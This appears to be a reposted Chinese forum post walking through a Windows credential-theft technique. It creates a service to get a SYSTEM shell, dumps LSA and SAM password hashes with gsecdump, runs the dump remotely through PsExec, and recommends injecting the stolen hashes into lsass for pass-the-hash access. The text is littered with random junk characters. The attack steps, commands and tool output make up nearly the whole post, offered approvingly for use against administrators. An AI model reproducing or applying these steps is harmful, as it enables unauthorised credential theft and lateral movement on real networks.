HASH注入式攻击

admin

o get a DOS Prompt as NT system:

. R) j( g8 b. v9 j7 p4 mC:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
[SC] CreateService SUCCESS
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* T" }. O& j; J2 zC:\>sc start shellcmdline
[SC] StartService FAILED 1053:
% a; ?) J$ b! s2 Z( Z% \+ {
) \" o; c$ _2 C4 r( }7 [/ Y$ g$ u$ `The service did not respond to the start or control request in a timely fashion.
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C:\>sc delete shellcmdline
[SC] DeleteService SUCCESS
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* A, G' W0 ]8 {1 u7 ?, w------------

Then in the new DOS window:

  I$ i) {: @! DMicrosoft Windows XP [Version 5.1.2600]
7 H% ?! {8 P2 `. C(C) Copyright 1985-2001 Microsoft Corp.
3 u8 p/ ]; o* A4 [/ ?: ^
  o. O" _4 U9 S$ l  d0 {5 T# UC:\WINDOWS\system32>whoami
) j! Y& ~6 i- ^- b9 |- @' b8 DNT AUTHORITY\SYSTEM
  B, Z( }" u/ s4 S& y
+ F. x& Y7 N/ b1 AC:\WINDOWS\system32>gsecdump -h
gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
  D4 ~! H) t" h/ S6 k( o; p5 iusage: gsecdump [options]

options:
-h [ --help ] show help
6 Y- z+ r8 }) S+ [+ a-a [ --dump_all ] dump all secrets
2 G1 y8 @( b9 o$ ?4 X6 X-l [ --dump_lsa ] dump lsa secrets
- X: q3 `7 R* S-w [ --dump_wireless ] dump microsoft wireless connections
/ k7 q2 h* r1 q  E-u [ --dump_usedhashes ] dump hashes from active logon sessions
-s [ --dump_hashes ] dump hashes from SAM/AD
% c5 P& x, y* [) A
Although I like to use:
; @* P5 C5 n; k3 U& M3 e% ?& `6 V
PsExec v1.83 - Execute processes remotely
) e' @/ w0 t1 f+ G9 kCopyright (C) 2001-2007 Mark Russinovich
# C  v, T- \: I. z. a$ \Sysinternals - 链接标记[url]www.sysinternals.com[/url]
1 z. O, K% x  X* L- x
: U+ O  X5 J  `0 e" @  fC:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT
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& k- u" }; e* @: }  H" ?3 V5 Rto get the hashes from active logon sessions of a remote system.

: p, P. M( |4 P; Z# WThese are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.

+ s: B& O2 D+ ]& L5 Q提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
. U( z; h7 \3 v' x% O, T' W  h; |原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]
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我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。